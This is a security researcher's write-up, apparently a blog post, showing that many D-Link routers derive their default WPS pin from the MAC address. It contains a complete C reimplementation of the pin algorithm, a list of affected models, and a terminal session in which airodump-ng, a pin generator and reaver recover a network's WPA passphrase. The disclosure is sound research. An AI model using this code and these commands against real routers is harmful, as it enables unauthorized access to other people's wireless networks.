While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc , a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:

I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system . However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8 . Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:

This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):

While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:

li $v0, 0x38E38E39

multu $a3, $v0

...

mfhi $v0

srl $v0, 1



Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.

However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf) { char *mac; char mac_address[32] = { 0 }; unsigned int oui, nic, pin; /* Get a pointer to the WAN MAC address */ mac = lockAndGetInfo_log()->wan_mac_address; /* * Create a local, NULL-terminated copy of the WAN MAC (simplified from * the original code's sprintf/memmove loop). */ sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], mac[6], mac[7], mac[8], mac[9], mac[10], mac[11]); /* * Convert the OUI and NIC portions of the MAC address to integer values. * OUI is unused, just need the NIC. */ sscanf(mac_address, "%06X%06X", &oui, &nic); /* Do some XOR munging of the NIC. */ pin = (nic ^ 0x55AA55); pin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)); /* * The largest possible remainder for any value divided by 10,000,000 * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. */ pin = pin % 10000000; /* The pin needs to be at least 7 digits long */ if(pin < 1000000) { /* * The largest possible remainder for any value divided by 9 is * 8; hence this adds at most 9,000,000 to the pin value, and at * least 1,000,000. This guarantees that the pin will be 7 digits * long, and also means that it won't start with a 0. */ pin += ((pin % 9) * 1000000) + 1000000; } /* * The final 8 digit pin is the 7 digit value just computed, plus a * checksum digit. Note that in the disassembly, the wps_pin_checksum * function is inlined (it's just the standard WPS checksum implementation). */ pin = ((pin * 10) + wps_pin_checksum(pin)); sprintf(buf, "%08d", pin); return pin; }

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4 CH 4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C0:A0:BB:EF:B3:D6 -13 0 6 0 0 4 54e WPA2 CCMP PSK dlink-B3D6 $ ./pingen C0:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID+1 Default Pin: 99767389 $ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389 Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> [+] Waiting for beacon from C0:A0:BB:EF:B3:D6 [+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6) [+] WPS PIN: '99767389' [+] WPA PSK: 'hluig79268' [+] AP SSID: 'dlink-B3D6'

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:

Confirmed Affected:

DIR-810L DIR-826L DIR-632 DHP-1320 DIR-835 DIR-615 revs: B2, C1, E1, E3 DIR-657 DIR-827 DIR-857 DIR-451 DIR-655 revs: A3, A4, B1 DIR-825 revs: A1, B1 DIR-651 DIR-855 DIR-628 DGL-4500 DIR-601 revs: A1, B1 DIR-836L DIR-808L DIR-636L DAP-1350 DAP-1555

Confirmed Unaffected:

DIR-815 DIR-505L DIR-300 DIR-850L DIR-412 DIR-600 DIR-685 DIR-817LW DIR-818LW DIR-803 DIR-845L DIR-816L DIR-860L DIR-645 DIR-685 DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.